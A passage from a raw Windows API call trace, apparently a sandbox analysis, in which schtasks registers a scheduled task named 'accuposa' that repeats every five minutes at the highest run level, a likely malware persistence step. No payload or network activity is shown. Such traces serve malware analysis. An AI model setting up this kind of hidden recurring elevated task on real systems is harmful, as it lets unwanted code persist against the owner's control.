returned 2 [0124.323] lstrlenW (lpString="tr") returned 2 [0124.323] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.323] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.323] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.323] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.323] lstrlenW (lpString="|tr|") returned 4 [0124.323] lstrlenW (lpString="|f|") returned 3 [0124.323] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0124.323] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.323] lstrlenW (lpString="st") returned 2 [0124.323] lstrlenW (lpString="st") returned 2 [0124.324] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.324] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.324] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|st|") returned 4 [0124.324] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.324] lstrlenW (lpString="|st|") returned 4 [0124.324] lstrlenW (lpString="|f|") returned 3 [0124.324] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0124.324] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.324] lstrlenW (lpString="sd") returned 2 [0124.324] lstrlenW (lpString="sd") returned 2 [0124.324] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.324] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.324] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sd|") returned 4 [0124.324] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.324] lstrlenW (lpString="|sd|") returned 4 [0124.324] lstrlenW (lpString="|f|") returned 3 [0124.324] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0124.324] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.325] lstrlenW (lpString="ed") returned 2 [0124.325] lstrlenW (lpString="ed") returned 2 [0124.325] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.325] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.325] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ed|") returned 4 [0124.325] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.325] lstrlenW (lpString="|ed|") returned 4 [0124.325] lstrlenW (lpString="|f|") returned 3 [0124.325] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0124.325] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.325] lstrlenW (lpString="it") returned 2 [0124.325] lstrlenW (lpString="it") returned 2 [0124.325] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.325] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.325] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|it|") returned 4 [0124.325] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.325] lstrlenW (lpString="|it|") returned 4 [0124.325] lstrlenW (lpString="|f|") returned 3 [0124.325] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0124.325] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.325] lstrlenW (lpString="et") returned 2 [0124.328] lstrlenW (lpString="et") returned 2 [0124.328] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.328] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.328] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|et|") returned 4 [0124.328] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.328] lstrlenW (lpString="|et|") returned 4 [0124.328] lstrlenW (lpString="|f|") returned 3 [0124.328] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0124.328] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.328] lstrlenW (lpString="k") returned 1 [0124.328] lstrlenW (lpString="k") returned 1 [0124.328] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.328] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.328] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|k|") returned 3 [0124.328] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.328] lstrlenW (lpString="|k|") returned 3 [0124.328] lstrlenW (lpString="|f|") returned 3 [0124.328] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0124.328] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.328] lstrlenW (lpString="du") returned 2 [0124.328] lstrlenW (lpString="du") returned 2 [0124.328] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.329] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.329] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|du|") returned 4 [0124.329] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.329] lstrlenW (lpString="|du|") returned 4 [0124.329] lstrlenW (lpString="|f|") returned 3 [0124.329] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0124.329] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.329] lstrlenW (lpString="ri") returned 2 [0124.329] lstrlenW (lpString="ri") returned 2 [0124.329] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.329] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.329] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ri|") returned 4 [0124.329] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.329] lstrlenW (lpString="|ri|") returned 4 [0124.329] lstrlenW (lpString="|f|") returned 3 [0124.329] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0124.329] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.329] lstrlenW (lpString="z") returned 1 [0124.329] lstrlenW (lpString="z") returned 1 [0124.329] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.329] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.329] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|z|") returned 3 [0124.329] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.329] lstrlenW (lpString="|z|") returned 3 [0124.329] lstrlenW (lpString="|f|") returned 3 [0124.329] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0124.329] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.329] lstrlenW (lpString="f") returned 1 [0124.329] lstrlenW (lpString="f") returned 1 [0124.330] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.330] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.330] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.330] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.330] lstrlenW (lpString="|f|") returned 3 [0124.330] lstrlenW (lpString="|f|") returned 3 [0124.330] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0124.330] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.330] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.330] GetProcessHeap () returned 0x2996d990000 [0124.330] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b360 [0124.330] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.330] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0124.330] lstrlenW (lpString="LIMITED") returned 7 [0124.330] GetProcessHeap () returned 0x2996d990000 [0124.330] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x10) returned 0x2996d99a8f0 [0124.330] GetThreadLocale () returned 0x409 [0124.330] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0124.330] GetProcessHeap () returned 0x2996d990000 [0124.330] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b600 [0124.330] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.330] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0124.330] lstrlenW (lpString="HIGHEST") returned 7 [0124.330] GetProcessHeap () returned 0x2996d990000 [0124.330] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x10) returned 0x2996d99a910 [0124.330] GetThreadLocale () returned 0x409 [0124.330] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0124.330] GetProcessHeap () returned 0x2996d990000 [0124.331] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b390 [0124.331] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.331] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0124.331] lstrlenW (lpString="MINUTE") returned 6 [0124.331] GetProcessHeap () returned 0x2996d990000 [0124.331] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xe) returned 0x2996d99a870 [0124.331] GetThreadLocale () returned 0x409 [0124.331] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0124.331] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.331] GetProcessHeap () returned 0x2996d990000 [0124.331] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x1fc) returned 0x2996d99ace0 [0124.331] GetProcessHeap () returned 0x2996d990000 [0124.331] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b3c0 [0124.331] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.331] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0124.331] lstrlenW (lpString="First") returned 5 [0124.331] GetProcessHeap () returned 0x2996d990000 [0124.331] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xc) returned 0x2996d99a9d0 [0124.331] GetProcessHeap () returned 0x2996d990000 [0124.331] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b450 [0124.331] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.331] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0124.331] lstrlenW (lpString="Second") returned 6 [0124.331] GetProcessHeap () returned 0x2996d990000 [0124.332] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xe) returned 0x2996d99aa50 [0124.332] GetProcessHeap () returned 0x2996d990000 [0124.332] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b630 [0124.332] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.332] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0124.332] lstrlenW (lpString="Third") returned 5 [0124.332] GetProcessHeap () returned 0x2996d990000 [0124.332] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xc) returned 0x2996d99ab30 [0124.332] GetProcessHeap () returned 0x2996d990000 [0124.332] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b480 [0124.332] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.332] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0124.332] lstrlenW (lpString="Fourth") returned 6 [0124.332] GetProcessHeap () returned 0x2996d990000 [0124.332] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xe) returned 0x2996d99ab50 [0124.332] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.332] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0124.332] lstrlenW (lpString="Last") returned 4 [0124.332] GetProcessHeap () returned 0x2996d990000 [0124.332] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xa) returned 0x2996d99aaf0 [0124.332] lstrlenW (lpString="5") returned 1 [0124.332] _wtol (_String="5") returned 5 [0124.332] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.332] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0124.332] lstrlenW (lpString="First") returned 5 [0124.333] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.333] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0124.333] lstrlenW (lpString="Second") returned 6 [0124.333] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.333] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0124.333] lstrlenW (lpString="Third") returned 5 [0124.333] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.333] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0124.333] lstrlenW (lpString="Fourth") returned 6 [0124.333] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.333] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0124.333] lstrlenW (lpString="Last") returned 4 [0124.333] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xd79ca7c5f0, cchData=128 | out: lpLCData="0") returned 2 [0124.333] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.333] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0124.333] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0124.333] GetProcessHeap () returned 0x2996d990000 [0124.333] GetProcessHeap () returned 0x2996d990000 [0124.333] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a9d0) returned 1 [0124.333] GetProcessHeap () returned 0x2996d990000 [0124.333] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a9d0) returned 0xc [0124.333] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a9d0) returned 1 [0124.334] GetProcessHeap () returned 0x2996d990000 [0124.334] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x16) returned 0x2996d99ab70 [0124.334] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xd79ca7c610, cchData=128 | out: lpLCData="0") returned 2 [0124.334] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.334] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0124.334] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0124.334] GetProcessHeap () returned 0x2996d990000 [0124.334] GetProcessHeap () returned 0x2996d990000 [0124.334] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99aa50) returned 1 [0124.334] GetProcessHeap () returned 0x2996d990000 [0124.334] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99aa50) returned 0xe [0124.334] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99aa50) returned 1 [0124.334] GetProcessHeap () returned 0x2996d990000 [0124.334] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x16) returned 0x2996d99aa10 [0124.334] GetLocalTime (in: lpSystemTime=0xd79ca7c848 | out: lpSystemTime=0xd79ca7c848*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2f, wMilliseconds=0x2c2)) [0124.334] lstrlenW (lpString="") returned 0 [0124.334] GetLocalTime (in: lpSystemTime=0xd79ca7d238 | out: lpSystemTime=0xd79ca7d238*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2f, wMilliseconds=0x2c2)) [0124.334] lstrlenW (lpString="") returned 0 [0124.334] lstrlenW (lpString="") returned 0 [0124.334] lstrlenW (lpString="") returned 0 [0124.334] lstrlenW (lpString="") returned 0 [0124.334] lstrlenW (lpString="5") returned 1 [0124.335] _wtol (_String="5") returned 5 [0124.335] lstrlenW (lpString="") returned 0 [0124.335] lstrlenW (lpString="") returned 0 [0124.335] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0124.346] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0124.428] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xd79ca7cf90 | out: ppv=0xd79ca7cf90*=0x2996dba5750) returned 0x0 [0124.465] TaskScheduler:ITaskService:Connect (This=0x2996dba5750, serverName=0xd79ca7d080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xd79ca7d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xd79ca7d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xd79ca7d010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0124.518] TaskScheduler:ITaskService:GetFolder (in: This=0x2996dba5750, Path=0x0, ppFolder=0xd79ca7d170 | out: ppFolder=0xd79ca7d170*=0x2996dba5900) returned 0x0 [0124.520] TaskScheduler:ITaskService:NewTask (in: This=0x2996dba5750, flags=0x0, ppDefinition=0xd79ca7d148 | out: ppDefinition=0xd79ca7d148*=0x2996dba5980) returned 0x0 [0124.521] ITaskDefinition:get_Actions (in: This=0x2996dba5980, ppActions=0xd79ca7d090 | out: ppActions=0xd79ca7d090*=0x2996dba5a10) returned 0x0 [0124.521] IActionCollection:Create (in: This=0x2996dba5a10, Type=0, ppAction=0xd79ca7d0d0 | out: ppAction=0xd79ca7d0d0*=0x2996dba5e20) returned 0x0 [0124.521] IUnknown:Release (This=0x2996dba5e20) returned 0x1 [0124.521] IUnknown:Release (This=0x2996dba5a10) returned 0x1 [0124.521] ITaskDefinition:get_Triggers (in: This=0x2996dba5980, ppTriggers=0xd79ca7cc40 | out: ppTriggers=0xd79ca7cc40*=0x2996dba5cd0) returned 0x0 [0124.522] ITriggerCollection:Create (in: This=0x2996dba5cd0, Type=1, ppTrigger=0xd79ca7cc28 | out: ppTrigger=0xd79ca7cc28*=0x2996dba5eb0) returned 0x0 [0124.522] lstrlenW (lpString="5") returned 1 [0124.522] _vsnwprintf (in: _Buffer=0xd79ca7cbb0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xd79ca7cba8 | out: _Buffer="PT5M") returned 4 [0124.522] ITrigger:get_Repetition (in: This=0x2996dba5eb0, ppRepeat=0xd79ca7cc20 | out: ppRepeat=0xd79ca7cc20*=0x2996dba5f40) returned 0x0 [0124.522] IRepetitionPattern:put_Interval (This=0x2996dba5f40, Interval="PT5M") returned 0x0 [0124.522] IUnknown:Release (This=0x2996dba5f40) returned 0x1 [0124.522] _vsnwprintf (in: _Buffer=0xd79ca7cb70, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xd79ca7cb48 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0124.523] ITrigger:put_StartBoundary (This=0x2996dba5eb0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0124.523] lstrlenW (lpString="") returned 0 [0124.523] lstrlenW (lpString="") returned 0 [0124.523] lstrlenW (lpString="") returned 0 [0124.523] lstrlenW (lpString="") returned 0 [0124.523] IUnknown:Release (This=0x2996dba5eb0) returned 0x1 [0124.523] IUnknown:Release (This=0x2996dba5cd0) returned 0x1 [0124.523] ITaskDefinition:get_Settings (in: This=0x2996dba5980, ppSettings=0xd79ca7d0d0 | out: ppSettings=0xd79ca7d0d0*=0x2996dba5b50) returned 0x0 [0124.523] lstrlenW (lpString="") returned 0 [0124.523] IUnknown:Release (This=0x2996dba5b50) returned 0x3 [0124.523] GetLocalTime (in: lpSystemTime=0xd79ca7cf88 | out: lpSystemTime=0xd79ca7cf88*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2f, wMilliseconds=0x37d)) [0124.523] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0124.524] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xd79ca7cfa0, nSize=0xd79ca7cf78 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xd79ca7cf78) returned 0x1 [0124.524] ITaskDefinition:get_RegistrationInfo (in: This=0x2996dba5980, ppRegistrationInfo=0xd79ca7cf70 | out: ppRegistrationInfo=0xd79ca7cf70*=0x2996dba5a90) returned 0x0 [0124.525] IRegistrationInfo:put_Author (This=0x2996dba5a90, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0124.525] _vsnwprintf (in: _Buffer=0xd79ca7cfa0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xd79ca7cf38 | out: _Buffer="2023-09-19T17:15:47") returned 19 [0124.525] IRegistrationInfo:put_Date (This=0x2996dba5a90, Date="2023-09-19T17:15:47") returned 0x0 [0124.525] IUnknown:Release (This=0x2996dba5a90) returned 0x1 [0124.525] malloc (_Size=0x18) returned 0x2996dba5fc0 [0124.525] free (_Block=0x2996dba5fc0) [0124.525] lstrlenW (lpString="") returned 0 [0124.525] ITaskDefinition:get_Principal (in: This=0x2996dba5980, ppPrincipal=0xd79ca7d138 | out: ppPrincipal=0xd79ca7d138*=0x2996dba5d40) returned 0x0 [0124.525] IPrincipal:put_RunLevel (This=0x2996dba5d40, RunLevel=1) returned 0x0 [0124.526] IUnknown:Release (This=0x2996dba5d40) returned 0x1 [0124.526] malloc (_Size=0x18) returned 0x2996dba5fc0 [0124.526] ITaskFolder:RegisterTaskDefinition (in: This=0x2996dba5900, Path="accuposa", pDefinition=0x2996dba5980, flags=6, UserId=0xd79ca7d1e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xd79ca7d1c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xd79ca7d200*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xd79ca7d1a0 | out: ppTask=0xd79ca7d1a0*=0x2996dba6fd0) returned 0x0 [0124.813] free (_Block=0x2996dba5fc0) [0124.813] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.813] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0124.813] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0124.813] GetProcessHeap () returned 0x2996d990000 [0124.813] GetProcessHeap () returned 0x2996d990000 [0124.813] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99ab30) returned 1 [0124.813] GetProcessHeap () returned 0x2996d990000 [0124.813] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99ab30) returned 0xc [0124.813] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99ab30) returned 1 [0124.813] GetProcessHeap () returned 0x2996d990000 [0124.813] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x82) returned 0x2996d9a9f60 [0124.813] _vsnwprintf (in: _Buffer=0xd79ca7d850, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xd79ca7d0e8 | out: _Buffer="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n") returned 70 [0124.813] __iob_func () returned 0x7ffa7941e210 [0124.813] _fileno (_File=0x7ffa7941e240) returned -2 [0124.813] _errno () returned 0x2996dba0840 [0124.813] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0124.813] RtlRestoreLastWin32Error 